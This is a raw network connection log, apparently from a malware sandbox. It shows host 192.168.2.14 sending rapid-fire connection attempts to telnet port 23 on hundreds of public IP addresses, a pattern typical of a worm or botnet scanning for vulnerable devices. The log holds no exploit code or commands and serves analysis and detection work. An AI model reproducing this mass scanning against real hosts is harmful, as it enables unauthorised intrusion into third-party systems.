Oct 14, 2024 17:34:15.121947050 CEST	29508	23	192.168.2.14	103.14.93.122
Oct 14, 2024 17:34:15.121947050 CEST	29508	23	192.168.2.14	173.198.170.151
Oct 14, 2024 17:34:15.121951103 CEST	29508	23	192.168.2.14	37.66.40.252
Oct 14, 2024 17:34:15.121963978 CEST	29508	23	192.168.2.14	176.198.104.43
Oct 14, 2024 17:34:15.121964931 CEST	29508	23	192.168.2.14	166.20.249.137
Oct 14, 2024 17:34:15.121968031 CEST	29508	23	192.168.2.14	136.98.179.27
Oct 14, 2024 17:34:15.121970892 CEST	29508	23	192.168.2.14	162.80.245.13
Oct 14, 2024 17:34:15.121978045 CEST	29508	23	192.168.2.14	139.64.74.177
Oct 14, 2024 17:34:15.121978045 CEST	29508	23	192.168.2.14	84.161.40.92
Oct 14, 2024 17:34:15.121978998 CEST	29508	23	192.168.2.14	23.7.200.183
Oct 14, 2024 17:34:15.121980906 CEST	29508	23	192.168.2.14	114.252.198.89
Oct 14, 2024 17:34:15.121988058 CEST	29508	23	192.168.2.14	116.203.30.232
Oct 14, 2024 17:34:15.121998072 CEST	29508	23	192.168.2.14	220.15.155.97
Oct 14, 2024 17:34:15.121998072 CEST	29508	23	192.168.2.14	209.113.139.161
Oct 14, 2024 17:34:15.122009993 CEST	29508	23	192.168.2.14	223.167.171.246
Oct 14, 2024 17:34:15.122009993 CEST	29508	23	192.168.2.14	176.216.218.193
Oct 14, 2024 17:34:15.122009993 CEST	29508	23	192.168.2.14	175.238.252.43
Oct 14, 2024 17:34:15.122019053 CEST	29508	23	192.168.2.14	50.143.60.117
Oct 14, 2024 17:34:15.122019053 CEST	29508	23	192.168.2.14	27.87.127.111
Oct 14, 2024 17:34:15.122024059 CEST	29508	23	192.168.2.14	180.234.148.26
Oct 14, 2024 17:34:15.122045040 CEST	29508	23	192.168.2.14	155.213.205.41
Oct 14, 2024 17:34:15.122045040 CEST	29508	23	192.168.2.14	157.48.140.183
Oct 14, 2024 17:34:15.122051001 CEST	29508	23	192.168.2.14	50.205.115.197
Oct 14, 2024 17:34:15.122056961 CEST	29508	23	192.168.2.14	185.119.47.71
Oct 14, 2024 17:34:15.122057915 CEST	29508	23	192.168.2.14	170.117.150.103
Oct 14, 2024 17:34:15.122059107 CEST	29508	23	192.168.2.14	25.207.137.247
Oct 14, 2024 17:34:15.122060061 CEST	29508	23	192.168.2.14	8.225.233.175
Oct 14, 2024 17:34:15.122070074 CEST	29508	23	192.168.2.14	24.113.57.129
Oct 14, 2024 17:34:15.122071981 CEST	29508	23	192.168.2.14	53.151.88.91
Oct 14, 2024 17:34:15.122072935 CEST	29508	23	192.168.2.14	199.4.180.81
Oct 14, 2024 17:34:15.122076988 CEST	29508	23	192.168.2.14	36.102.206.107
Oct 14, 2024 17:34:15.122082949 CEST	29508	23	192.168.2.14	58.54.70.135
Oct 14, 2024 17:34:15.122087002 CEST	29508	23	192.168.2.14	216.244.163.132
Oct 14, 2024 17:34:15.122097015 CEST	29508	23	192.168.2.14	162.0.64.166
Oct 14, 2024 17:34:15.122101068 CEST	29508	23	192.168.2.14	60.5.221.234
Oct 14, 2024 17:34:15.122104883 CEST	29508	23	192.168.2.14	223.94.30.243
Oct 14, 2024 17:34:15.122113943 CEST	29508	23	192.168.2.14	27.44.20.153
Oct 14, 2024 17:34:15.122116089 CEST	29508	23	192.168.2.14	60.160.70.92
Oct 14, 2024 17:34:15.122116089 CEST	29508	23	192.168.2.14	136.23.179.37
Oct 14, 2024 17:34:15.122119904 CEST	29508	23	192.168.2.14	68.207.226.151
Oct 14, 2024 17:34:15.122123957 CEST	29508	23	192.168.2.14	164.181.23.220
Oct 14, 2024 17:34:15.122128010 CEST	29508	23	192.168.2.14	79.15.175.128
Oct 14, 2024 17:34:15.122133970 CEST	29508	23	192.168.2.14	116.31.149.175
Oct 14, 2024 17:34:15.122145891 CEST	29508	23	192.168.2.14	172.5.205.252
Oct 14, 2024 17:34:15.122159004 CEST	29508	23	192.168.2.14	91.2.158.169
Oct 14, 2024 17:34:15.122159004 CEST	29508	23	192.168.2.14	77.220.154.21
Oct 14, 2024 17:34:15.122165918 CEST	29508	23	192.168.2.14	84.59.154.81
Oct 14, 2024 17:34:15.122169971 CEST	29508	23	192.168.2.14	46.51.122.229
Oct 14, 2024 17:34:15.122170925 CEST	29508	23	192.168.2.14	129.98.43.18
Oct 14, 2024 17:34:15.122174025 CEST	29508	23	192.168.2.14	39.3.136.143
Oct 14, 2024 17:34:15.122180939 CEST	29508	23	192.168.2.14	175.137.89.218
Oct 14, 2024 17:34:15.122190952 CEST	29508	23	192.168.2.14	193.105.152.221
Oct 14, 2024 17:34:15.122194052 CEST	29508	23	192.168.2.14	202.82.244.33
Oct 14, 2024 17:34:15.122194052 CEST	29508	23	192.168.2.14	209.182.43.253
Oct 14, 2024 17:34:15.122201920 CEST	29508	23	192.168.2.14	76.197.188.195
Oct 14, 2024 17:34:15.122206926 CEST	29508	23	192.168.2.14	85.24.34.20
Oct 14, 2024 17:34:15.122210026 CEST	29508	23	192.168.2.14	93.145.57.110
Oct 14, 2024 17:34:15.122214079 CEST	29508	23	192.168.2.14	133.137.109.63
Oct 14, 2024 17:34:15.122224092 CEST	29508	23	192.168.2.14	17.61.66.25
Oct 14, 2024 17:34:15.122229099 CEST	29508	23	192.168.2.14	138.59.109.117
Oct 14, 2024 17:34:15.122229099 CEST	29508	23	192.168.2.14	125.75.52.40
Oct 14, 2024 17:34:15.122243881 CEST	29508	23	192.168.2.14	207.49.174.40
Oct 14, 2024 17:34:15.122245073 CEST	29508	23	192.168.2.14	51.84.212.166
Oct 14, 2024 17:34:15.122252941 CEST	29508	23	192.168.2.14	4.66.28.90
Oct 14, 2024 17:34:15.122257948 CEST	29508	23	192.168.2.14	103.216.240.119
Oct 14, 2024 17:34:15.122263908 CEST	29508	23	192.168.2.14	76.28.153.254
Oct 14, 2024 17:34:15.122272015 CEST	29508	23	192.168.2.14	57.243.240.229
Oct 14, 2024 17:34:15.122273922 CEST	29508	23	192.168.2.14	86.46.17.194
Oct 14, 2024 17:34:15.122273922 CEST	29508	23	192.168.2.14	151.114.112.212
Oct 14, 2024 17:34:15.122275114 CEST	29508	23	192.168.2.14	104.255.172.71
Oct 14, 2024 17:34:15.122282028 CEST	29508	23	192.168.2.14	156.156.237.96
Oct 14, 2024 17:34:15.122283936 CEST	29508	23	192.168.2.14	185.234.253.216
Oct 14, 2024 17:34:15.122287989 CEST	29508	23	192.168.2.14	32.254.187.159
Oct 14, 2024 17:34:15.122292995 CEST	29508	23	192.168.2.14	121.255.125.101
Oct 14, 2024 17:34:15.122294903 CEST	29508	23	192.168.2.14	57.217.42.112
Oct 14, 2024 17:34:15.122296095 CEST	29508	23	192.168.2.14	206.83.42.174
Oct 14, 2024 17:34:15.122296095 CEST	29508	23	192.168.2.14	75.15.206.87
Oct 14, 2024 17:34:15.122304916 CEST	29508	23	192.168.2.14	100.233.13.239
Oct 14, 2024 17:34:15.122307062 CEST	29508	23	192.168.2.14	140.177.185.0
Oct 14, 2024 17:34:15.122309923 CEST	29508	23	192.168.2.14	212.94.45.9
Oct 14, 2024 17:34:15.122320890 CEST	29508	23	192.168.2.14	191.211.57.177
Oct 14, 2024 17:34:15.122333050 CEST	29508	23	192.168.2.14	38.62.193.157
Oct 14, 2024 17:34:15.122335911 CEST	29508	23	192.168.2.14	113.150.10.55
Oct 14, 2024 17:34:15.122338057 CEST	29508	23	192.168.2.14	88.249.42.62
Oct 14, 2024 17:34:15.122349024 CEST	29508	23	192.168.2.14	126.142.19.15
Oct 14, 2024 17:34:15.122349024 CEST	29508	23	192.168.2.14	142.39.139.119
Oct 14, 2024 17:34:15.122355938 CEST	29508	23	192.168.2.14	174.187.125.193
Oct 14, 2024 17:34:15.122360945 CEST	29508	23	192.168.2.14	82.253.31.117
Oct 14, 2024 17:34:15.122361898 CEST	29508	23	192.168.2.14	140.32.193.194
Oct 14, 2024 17:34:15.122370005 CEST	29508	23	192.168.2.14	24.240.83.111
Oct 14, 2024 17:34:15.122371912 CEST	29508	23	192.168.2.14	20.239.90.50
Oct 14, 2024 17:34:15.122376919 CEST	29508	23	192.168.2.14	34.123.235.7
Oct 14, 2024 17:34:15.122376919 CEST	29508	23	192.168.2.14	205.225.172.232
Oct 14, 2024 17:34:15.122387886 CEST	29508	23	192.168.2.14	18.217.74.60
Oct 14, 2024 17:34:15.122391939 CEST	29508	23	192.168.2.14	119.228.39.83
Oct 14, 2024 17:34:15.122395039 CEST	29508	23	192.168.2.14	79.40.114.224
Oct 14, 2024 17:34:15.122396946 CEST	29508	23	192.168.2.14	34.114.88.179
Oct 14, 2024 17:34:15.122411966 CEST	29508	23	192.168.2.14	62.204.228.172
Oct 14, 2024 17:34:15.122415066 CEST	29508	23	192.168.2.14	184.3.44.214
Oct 14, 2024 17:34:15.122416019 CEST	29508	23	192.168.2.14	106.210.174.107
Oct 14, 2024 17:34:15.122421026 CEST	29508	23	192.168.2.14	4.154.188.130
Oct 14, 2024 17:34:15.122427940 CEST	29508	23	192.168.2.14	23.221.145.91
Oct 14, 2024 17:34:15.122427940 CEST	29508	23	192.168.2.14	106.243.64.172
Oct 14, 2024 17:34:15.122430086 CEST	29508	23	192.168.2.14	45.189.54.150
Oct 14, 2024 17:34:15.122441053 CEST	29508	23	192.168.2.14	176.59.232.44
Oct 14, 2024 17:34:15.122450113 CEST	29508	23	192.168.2.14	66.26.184.38
Oct 14, 2024 17:34:15.122454882 CEST	29508	23	192.168.2.14	119.15.81.65
Oct 14, 2024 17:34:15.122457981 CEST	29508	23	192.168.2.14	108.50.138.140
Oct 14, 2024 17:34:15.122462034 CEST	29508	23	192.168.2.14	216.148.140.113
Oct 14, 2024 17:34:15.122472048 CEST	29508	23	192.168.2.14	1.146.238.11
Oct 14, 2024 17:34:15.122472048 CEST	29508	23	192.168.2.14	14.88.32.244
Oct 14, 2024 17:34:15.122479916 CEST	29508	23	192.168.2.14	141.123.176.171
Oct 14, 2024 17:34:15.122479916 CEST	29508	23	192.168.2.14	93.252.11.222
Oct 14, 2024 17:34:15.122497082 CEST	29508	23	192.168.2.14	109.108.37.183
Oct 14, 2024 17:34:15.122498035 CEST	29508	23	192.168.2.14	77.73.219.242
Oct 14, 2024 17:34:15.122498989 CEST	29508	23	192.168.2.14	154.162.160.198
Oct 14, 2024 17:34:15.122502089 CEST	29508	23	192.168.2.14	186.230.178.80
Oct 14, 2024 17:34:15.122507095 CEST	29508	23	192.168.2.14	129.37.98.252
Oct 14, 2024 17:34:15.122523069 CEST	29508	23	192.168.2.14	39.214.104.194
Oct 14, 2024 17:34:15.122524023 CEST	29508	23	192.168.2.14	78.0.4.13
Oct 14, 2024 17:34:15.122529984 CEST	29508	23	192.168.2.14	110.151.103.241
Oct 14, 2024 17:34:15.122529984 CEST	29508	23	192.168.2.14	35.194.167.57
Oct 14, 2024 17:34:15.122534990 CEST	29508	23	192.168.2.14	209.87.98.84
Oct 14, 2024 17:34:15.122538090 CEST	29508	23	192.168.2.14	91.219.154.34
Oct 14, 2024 17:34:15.122545004 CEST	29508	23	192.168.2.14	189.216.193.78
Oct 14, 2024 17:34:15.122548103 CEST	29508	23	192.168.2.14	112.172.190.194
Oct 14, 2024 17:34:15.122555971 CEST	29508	23	192.168.2.14	148.22.162.84
Oct 14, 2024 17:34:15.122559071 CEST	29508	23	192.168.2.14	164.15.108.2
Oct 14, 2024 17:34:15.122567892 CEST	29508	23	192.168.2.14	179.65.249.99
Oct 14, 2024 17:34:15.122581005 CEST	29508	23	192.168.2.14	128.131.204.3
Oct 14, 2024 17:34:15.122582912 CEST	29508	23	192.168.2.14	175.195.116.41
Oct 14, 2024 17:34:15.122590065 CEST	29508	23	192.168.2.14	90.215.121.105
Oct 14, 2024 17:34:15.122590065 CEST	29508	23	192.168.2.14	72.62.197.180
Oct 14, 2024 17:34:15.122591019 CEST	29508	23	192.168.2.14	84.56.15.207
Oct 14, 2024 17:34:15.122591019 CEST	29508	23	192.168.2.14	84.228.105.210
Oct 14, 2024 17:34:15.122606993 CEST	29508	23	192.168.2.14	32.194.191.161
Oct 14, 2024 17:34:15.122613907 CEST	29508	23	192.168.2.14	5.129.46.110
Oct 14, 2024 17:34:15.122613907 CEST	29508	23	192.168.2.14	171.181.232.132
Oct 14, 2024 17:34:15.122622013 CEST	29508	23	192.168.2.14	63.193.89.33
Oct 14, 2024 17:34:15.122628927 CEST	29508	23	192.168.2.14	182.76.178.153
Oct 14, 2024 17:34:15.122629881 CEST	29508	23	192.168.2.14	146.5.246.8
Oct 14, 2024 17:34:15.122629881 CEST	29508	23	192.168.2.14	105.231.243.241
Oct 14, 2024 17:34:15.122637033 CEST	29508	23	192.168.2.14	182.227.45.66
Oct 14, 2024 17:34:15.122648001 CEST	29508	23	192.168.2.14	32.23.208.86
Oct 14, 2024 17:34:15.122651100 CEST	29508	23	192.168.2.14	164.199.154.252
Oct 14, 2024 17:34:15.122653008 CEST	29508	23	192.168.2.14	36.86.103.161
Oct 14, 2024 17:34:15.122659922 CEST	29508	23	192.168.2.14	179.73.114.103
Oct 14, 2024 17:34:15.122663021 CEST	29508	23	192.168.2.14	24.80.70.32
Oct 14, 2024 17:34:15.122663975 CEST	29508	23	192.168.2.14	164.118.102.74
Oct 14, 2024 17:34:15.122668028 CEST	29508	23	192.168.2.14	88.11.228.10
Oct 14, 2024 17:34:15.122670889 CEST	29508	23	192.168.2.14	213.134.140.252
Oct 14, 2024 17:34:15.122684002 CEST	29508	23	192.168.2.14	71.43.69.115
Oct 14, 2024 17:34:15.122684956 CEST	29508	23	192.168.2.14	149.24.104.94
Oct 14, 2024 17:34:15.122694016 CEST	29508	23	192.168.2.14	190.110.128.250
Oct 14, 2024 17:34:15.122695923 CEST	29508	23	192.168.2.14	145.138.91.248
Oct 14, 2024 17:34:15.122697115 CEST	29508	23	192.168.2.14	204.43.98.118
Oct 14, 2024 17:34:15.122714996 CEST	29508	23	192.168.2.14	129.114.236.16
Oct 14, 2024 17:34:15.122714996 CEST	29508	23	192.168.2.14	72.86.90.172
Oct 14, 2024 17:34:15.122718096 CEST	29508	23	192.168.2.14	100.206.151.66
Oct 14, 2024 17:34:15.122721910 CEST	29508	23	192.168.2.14	187.196.17.117
Oct 14, 2024 17:34:15.122723103 CEST	29508	23	192.168.2.14	5.64.15.3
Oct 14, 2024 17:34:15.122724056 CEST	29508	23	192.168.2.14	108.10.34.138
Oct 14, 2024 17:34:15.122736931 CEST	29508	23	192.168.2.14	27.223.250.25
Oct 14, 2024 17:34:15.122737885 CEST	29508	23	192.168.2.14	113.185.186.172
Oct 14, 2024 17:34:15.122746944 CEST	29508	23	192.168.2.14	221.73.96.125
Oct 14, 2024 17:34:15.122752905 CEST	29508	23	192.168.2.14	13.73.64.196
Oct 14, 2024 17:34:15.122752905 CEST	29508	23	192.168.2.14	49.245.217.176
Oct 14, 2024 17:34:15.122761011 CEST	29508	23	192.168.2.14	12.148.206.246
Oct 14, 2024 17:34:15.122761011 CEST	29508	23	192.168.2.14	111.202.19.32
Oct 14, 2024 17:34:15.122772932 CEST	29508	23	192.168.2.14	180.168.255.161
Oct 14, 2024 17:34:15.122772932 CEST	29508	23	192.168.2.14	2.220.123.232
Oct 14, 2024 17:34:15.122778893 CEST	29508	23	192.168.2.14	146.109.138.35
Oct 14, 2024 17:34:15.122785091 CEST	29508	23	192.168.2.14	109.85.116.12
Oct 14, 2024 17:34:15.122786045 CEST	29508	23	192.168.2.14	173.76.43.117
Oct 14, 2024 17:34:15.122786999 CEST	29508	23	192.168.2.14	72.44.146.196
Oct 14, 2024 17:34:15.122790098 CEST	29508	23	192.168.2.14	2.252.218.181
Oct 14, 2024 17:34:15.122797966 CEST	29508	23	192.168.2.14	104.52.77.27
Oct 14, 2024 17:34:15.122797966 CEST	29508	23	192.168.2.14	200.162.199.204
Oct 14, 2024 17:34:15.122800112 CEST	29508	23	192.168.2.14	68.27.158.237
Oct 14, 2024 17:34:15.122807026 CEST	29508	23	192.168.2.14	157.73.108.201
Oct 14, 2024 17:34:15.122819901 CEST	29508	23	192.168.2.14	207.73.168.109
Oct 14, 2024 17:34:15.122823954 CEST	29508	23	192.168.2.14	191.239.217.157
Oct 14, 2024 17:34:15.122828007 CEST	29508	23	192.168.2.14	135.152.60.112
Oct 14, 2024 17:34:15.122828960 CEST	29508	23	192.168.2.14	158.91.221.75
Oct 14, 2024 17:34:15.122828960 CEST	29508	23	192.168.2.14	172.121.20.44
Oct 14, 2024 17:34:15.122828960 CEST	29508	23	192.168.2.14	8.88.77.124
Oct 14, 2024 17:34:15.122834921 CEST	29508	23	192.168.2.14	52.106.202.10
Oct 14, 2024 17:34:15.122837067 CEST	29508	23	192.168.2.14	93.241.9.192
Oct 14, 2024 17:34:15.122844934 CEST	29508	23	192.168.2.14	157.4.204.54
Oct 14, 2024 17:34:15.122853041 CEST	29508	23	192.168.2.14	62.178.128.68
Oct 14, 2024 17:34:15.122857094 CEST	29508	23	192.168.2.14	63.55.233.15
Oct 14, 2024 17:34:15.122860909 CEST	29508	23	192.168.2.14	152.179.53.175
Oct 14, 2024 17:34:15.122864962 CEST	29508	23	192.168.2.14	201.111.69.249
Oct 14, 2024 17:34:15.122874022 CEST	29508	23	192.168.2.14	41.65.232.213
Oct 14, 2024 17:34:15.122874975 CEST	29508	23	192.168.2.14	160.120.1.243
Oct 14, 2024 17:34:15.122878075 CEST	29508	23	192.168.2.14	182.197.71.234
Oct 14, 2024 17:34:15.122880936 CEST	29508	23	192.168.2.14	90.132.173.105
Oct 14, 2024 17:34:15.122893095 CEST	29508	23	192.168.2.14	105.88.222.73
Oct 14, 2024 17:34:15.122895956 CEST	29508	23	192.168.2.14	34.161.7.109
Oct 14, 2024 17:34:15.122898102 CEST	29508	23	192.168.2.14	150.84.113.112
Oct 14, 2024 17:34:15.122905016 CEST	29508	23	192.168.2.14	193.64.24.35
Oct 14, 2024 17:34:15.122908115 CEST	29508	23	192.168.2.14	217.190.40.149
Oct 14, 2024 17:34:15.122916937 CEST	29508	23	192.168.2.14	136.68.142.231
Oct 14, 2024 17:34:15.122925997 CEST	29508	23	192.168.2.14	135.204.19.128
Oct 14, 2024 17:34:15.122925997 CEST	29508	23	192.168.2.14	178.132.167.37
Oct 14, 2024 17:34:15.122927904 CEST	29508	23	192.168.2.14	81.71.248.11
Oct 14, 2024 17:34:15.122931004 CEST	29508	23	192.168.2.14	175.242.107.99
Oct 14, 2024 17:34:15.122935057 CEST	29508	23	192.168.2.14	128.15.94.49
Oct 14, 2024 17:34:15.122941971 CEST	29508	23	192.168.2.14	59.3.34.164
Oct 14, 2024 17:34:15.122947931 CEST	29508	23	192.168.2.14	175.178.238.198
Oct 14, 2024 17:34:15.122952938 CEST	29508	23	192.168.2.14	148.33.202.254
Oct 14, 2024 17:34:15.122956991 CEST	29508	23	192.168.2.14	207.31.30.69
Oct 14, 2024 17:34:15.122961044 CEST	29508	23	192.168.2.14	92.241.65.204
Oct 14, 2024 17:34:15.122965097 CEST	29508	23	192.168.2.14	149.58.5.169
Oct 14, 2024 17:34:15.122967958 CEST	29508	23	192.168.2.14	45.134.169.58
Oct 14, 2024 17:34:15.122973919 CEST	29508	23	192.168.2.14	188.117.196.35
Oct 14, 2024 17:34:15.122984886 CEST	29508	23	192.168.2.14	161.69.98.166
Oct 14, 2024 17:34:15.122987986 CEST	29508	23	192.168.2.14	122.81.130.172
Oct 14, 2024 17:34:15.122988939 CEST	29508	23	192.168.2.14	122.51.15.169
Oct 14, 2024 17:34:15.122998953 CEST	29508	23	192.168.2.14	188.64.100.230
Oct 14, 2024 17:34:15.123003960 CEST	29508	23	192.168.2.14	116.226.7.56
Oct 14, 2024 17:34:15.123006105 CEST	29508	23	192.168.2.14	205.196.246.76
Oct 14, 2024 17:34:15.123011112 CEST	29508	23	192.168.2.14	134.199.40.129
Oct 14, 2024 17:34:15.123018026 CEST	29508	23	192.168.2.14	143.214.26.150
Oct 14, 2024 17:34:15.123027086 CEST	29508	23	192.168.2.14	44.18.1.63
Oct 14, 2024 17:34:15.123027086 CEST	29508	23	192.168.2.14	111.198.175.162
Oct 14, 2024 17:34:15.123034000 CEST	29508	23	192.168.2.14	89.95.199.250
Oct 14, 2024 17:34:15.123039961 CEST	29508	23	192.168.2.14	99.17.138.194
Oct 14, 2024 17:34:15.123047113 CEST	29508	23	192.168.2.14	129.89.23.31
Oct 14, 2024 17:34:15.123051882 CEST	29508	23	192.168.2.14	216.68.125.211
Oct 14, 2024 17:34:15.123058081 CEST	29508	23	192.168.2.14	73.77.147.50
Oct 14, 2024 17:34:15.123058081 CEST	29508	23	192.168.2.14	162.59.8.136
Oct 14, 2024 17:34:15.123059034 CEST	29508	23	192.168.2.14	187.108.7.217
Oct 14, 2024 17:34:15.123063087 CEST	29508	23	192.168.2.14	170.35.237.175
Oct 14, 2024 17:34:15.123070002 CEST	29508	23	192.168.2.14	89.87.235.128
Oct 14, 2024 17:34:15.123076916 CEST	29508	23	192.168.2.14	97.225.114.100
Oct 14, 2024 17:34:15.123079062 CEST	29508	23	192.168.2.14	25.17.253.74
Oct 14, 2024 17:34:15.123080969 CEST	29508	23	192.168.2.14	185.148.5.56
Oct 14, 2024 17:34:15.123085022 CEST	29508	23	192.168.2.14	42.97.236.188
Oct 14, 2024 17:34:15.123094082 CEST	29508	23	192.168.2.14	90.192.172.219
Oct 14, 2024 17:34:15.123104095 CEST	29508	23	192.168.2.14	62.90.172.63
Oct 14, 2024 17:34:15.123104095 CEST	29508	23	192.168.2.14	123.48.153.190
Oct 14, 2024 17:34:15.123116016 CEST	29508	23	192.168.2.14	163.222.11.116
Oct 14, 2024 17:34:15.123116016 CEST	29508	23	192.168.2.14	190.207.57.126
Oct 14, 2024 17:34:15.123120070 CEST	29508	23	192.168.2.14	13.57.219.102
Oct 14, 2024 17:34:15.123130083 CEST	29508	23	192.168.2.14	34.169.89.165
Oct 14, 2024 17:34:15.123130083 CEST	29508	23	192.168.2.14	96.255.51.120
Oct 14, 2024 17:34:15.123131990 CEST	29508	23	192.168.2.14	137.188.239.182
Oct 14, 2024 17:34:15.123135090 CEST	29508	23	192.168.2.14	18.28.4.219
Oct 14, 2024 17:34:15.123135090 CEST	29508	23	192.168.2.14	165.77.190.108
Oct 14, 2024 17:34:15.123143911 CEST	29508	23	192.168.2.14	58.49.250.160
Oct 14, 2024 17:34:15.123147964 CEST	29508	23	192.168.2.14	105.104.45.147
Oct 14, 2024 17:34:15.123152971 CEST	29508	23	192.168.2.14	47.148.182.96
Oct 14, 2024 17:34:15.123156071 CEST	29508	23	192.168.2.14	218.126.87.230
Oct 14, 2024 17:34:15.123167038 CEST	29508	23	192.168.2.14	79.6.48.81
Oct 14, 2024 17:34:15.123176098 CEST	29508	23	192.168.2.14	191.221.141.39
Oct 14, 2024 17:34:15.123176098 CEST	29508	23	192.168.2.14	32.2.78.211
Oct 14, 2024 17:34:15.123182058 CEST	29508	23	192.168.2.14	121.194.132.220
Oct 14, 2024 17:34:15.123187065 CEST	29508	23	192.168.2.14	84.175.205.144
Oct 14, 2024 17:34:15.123193979 CEST	29508	23	192.168.2.14	107.15.94.147
Oct 14, 2024 17:34:15.123205900 CEST	29508	23	192.168.2.14	187.40.79.236
Oct 14, 2024 17:34:15.123209000 CEST	29508	23	192.168.2.14	209.69.57.210
Oct 14, 2024 17:34:15.123209000 CEST	29508	23	192.168.2.14	27.140.64.68
Oct 14, 2024 17:34:15.123215914 CEST	29508	23	192.168.2.14	13.165.59.37
Oct 14, 2024 17:34:15.123224020 CEST	29508	23	192.168.2.14	207.238.61.79
Oct 14, 2024 17:34:15.123224020 CEST	29508	23	192.168.2.14	162.45.183.243
Oct 14, 2024 17:34:15.123224020 CEST	29508	23	192.168.2.14	159.47.145.95
Oct 14, 2024 17:34:15.123228073 CEST	29508	23	192.168.2.14	5.62.115.65
Oct 14, 2024 17:34:15.123234987 CEST	29508	23	192.168.2.14	139.11.164.12
Oct 14, 2024 17:34:15.123235941 CEST	29508	23	192.168.2.14	93.191.122.145
Oct 14, 2024 17:34:15.123241901 CEST	29508	23	192.168.2.14	170.129.30.193
Oct 14, 2024 17:34:15.123255968 CEST	29508	23	192.168.2.14	222.240.166.167
Oct 14, 2024 17:34:15.123255968 CEST	29508	23	192.168.2.14	118.25.76.46
Oct 14, 2024 17:34:15.123266935 CEST	29508	23	192.168.2.14	183.36.232.45
Oct 14, 2024 17:34:15.123266935 CEST	29508	23	192.168.2.14	4.139.100.99
Oct 14, 2024 17:34:15.123266935 CEST	29508	23	192.168.2.14	181.191.110.167
Oct 14, 2024 17:34:15.123266935 CEST	29508	23	192.168.2.14	209.18.245.192
Oct 14, 2024 17:34:15.123275995 CEST	29508	23	192.168.2.14	154.202.104.9
Oct 14, 2024 17:34:15.123277903 CEST	29508	23	192.168.2.14	182.64.102.63
Oct 14, 2024 17:34:15.123282909 CEST	29508	23	192.168.2.14	96.100.22.205
Oct 14, 2024 17:34:15.123289108 CEST	29508	23	192.168.2.14	198.27.73.113
Oct 14, 2024 17:34:15.123300076 CEST	29508	23	192.168.2.14	104.199.88.104
Oct 14, 2024 17:34:15.123303890 CEST	29508	23	192.168.2.14	46.185.253.86
Oct 14, 2024 17:34:15.123303890 CEST	29508	23	192.168.2.14	204.30.12.114
Oct 14, 2024 17:34:15.123315096 CEST	29508	23	192.168.2.14	190.175.102.62
Oct 14, 2024 17:34:15.123315096 CEST	29508	23	192.168.2.14	153.71.160.48
Oct 14, 2024 17:34:15.123323917 CEST	29508	23	192.168.2.14	88.78.104.95
Oct 14, 2024 17:34:15.123334885 CEST	29508	23	192.168.2.14	41.11.117.187
Oct 14, 2024 17:34:15.123337984 CEST	29508	23	192.168.2.14	54.248.59.17
Oct 14, 2024 17:34:15.123337984 CEST	29508	23	192.168.2.14	31.9.129.188
Oct 14, 2024 17:34:15.123347044 CEST	29508	23	192.168.2.14	124.136.228.83
Oct 14, 2024 17:34:15.123349905 CEST	29508	23	192.168.2.14	80.186.90.56
Oct 14, 2024 17:34:15.123359919 CEST	29508	23	192.168.2.14	156.189.99.187
Oct 14, 2024 17:34:15.123368979 CEST	29508	23	192.168.2.14	167.161.8.173
Oct 14, 2024 17:34:15.123369932 CEST	29508	23	192.168.2.14	23.41.99.230
Oct 14, 2024 17:34:15.123373985 CEST	29508	23	192.168.2.14	156.109.3.38
Oct 14, 2024 17:34:15.123373985 CEST	29508	23	192.168.2.14	38.95.28.63
Oct 14, 2024 17:34:15.123374939 CEST	29508	23	192.168.2.14	12.230.85.126
Oct 14, 2024 17:34:15.123374939 CEST	29508	23	192.168.2.14	148.30.188.18
Oct 14, 2024 17:34:15.123378038 CEST	29508	23	192.168.2.14	176.152.203.215
Oct 14, 2024 17:34:15.123378038 CEST	29508	23	192.168.2.14	211.6.67.158
Oct 14, 2024 17:34:15.123394012 CEST	29508	23	192.168.2.14	223.231.94.51
Oct 14, 2024 17:34:15.123404980 CEST	29508	23	192.168.2.14	217.172.155.30
Oct 14, 2024 17:34:15.123405933 CEST	29508	23	192.168.2.14	36.10.214.42
Oct 14, 2024 17:34:15.123405933 CEST	29508	23	192.168.2.14	75.1.162.215
Oct 14, 2024 17:34:15.123406887 CEST	29508	23	192.168.2.14	110.14.44.164
Oct 14, 2024 17:34:15.123409986 CEST	29508	23	192.168.2.14	111.183.149.224
Oct 14, 2024 17:34:15.123420000 CEST	29508	23	192.168.2.14	18.142.27.117
Oct 14, 2024 17:34:15.123423100 CEST	29508	23	192.168.2.14	202.253.20.205
Oct 14, 2024 17:34:15.123423100 CEST	29508	23	192.168.2.14	190.245.218.151
Oct 14, 2024 17:34:15.123434067 CEST	29508	23	192.168.2.14	131.42.16.159
Oct 14, 2024 17:34:15.123439074 CEST	29508	23	192.168.2.14	173.7.34.222
Oct 14, 2024 17:34:15.123444080 CEST	29508	23	192.168.2.14	47.140.196.100
Oct 14, 2024 17:34:15.123445034 CEST	29508	23	192.168.2.14	59.9.239.54
Oct 14, 2024 17:34:15.123457909 CEST	29508	23	192.168.2.14	125.184.13.251
Oct 14, 2024 17:34:15.123457909 CEST	29508	23	192.168.2.14	123.46.122.145
Oct 14, 2024 17:34:15.123457909 CEST	29508	23	192.168.2.14	211.232.93.212
Oct 14, 2024 17:34:15.123462915 CEST	29508	23	192.168.2.14	222.197.216.217
Oct 14, 2024 17:34:15.123467922 CEST	29508	23	192.168.2.14	126.221.97.139
Oct 14, 2024 17:34:15.123473883 CEST	29508	23	192.168.2.14	204.231.66.132
Oct 14, 2024 17:34:15.123482943 CEST	29508	23	192.168.2.14	65.92.11.17
Oct 14, 2024 17:34:15.123486042 CEST	29508	23	192.168.2.14	88.82.216.249
Oct 14, 2024 17:34:15.123486996 CEST	29508	23	192.168.2.14	158.185.100.126
Oct 14, 2024 17:34:15.123493910 CEST	29508	23	192.168.2.14	65.38.86.118
Oct 14, 2024 17:34:15.123524904 CEST	29508	23	192.168.2.14	211.64.187.40
Oct 14, 2024 17:34:15.123526096 CEST	29508	23	192.168.2.14	147.28.205.216
Oct 14, 2024 17:34:15.123527050 CEST	29508	23	192.168.2.14	123.42.85.88
Oct 14, 2024 17:34:15.123527050 CEST	29508	23	192.168.2.14	91.167.127.5
Oct 14, 2024 17:34:15.123539925 CEST	29508	23	192.168.2.14	107.206.82.194
Oct 14, 2024 17:34:15.123543978 CEST	29508	23	192.168.2.14	147.85.187.140
Oct 14, 2024 17:34:15.123543978 CEST	29508	23	192.168.2.14	180.52.226.191
Oct 14, 2024 17:34:15.123552084 CEST	29508	23	192.168.2.14	158.159.165.174
Oct 14, 2024 17:34:15.123555899 CEST	29508	23	192.168.2.14	186.108.135.246
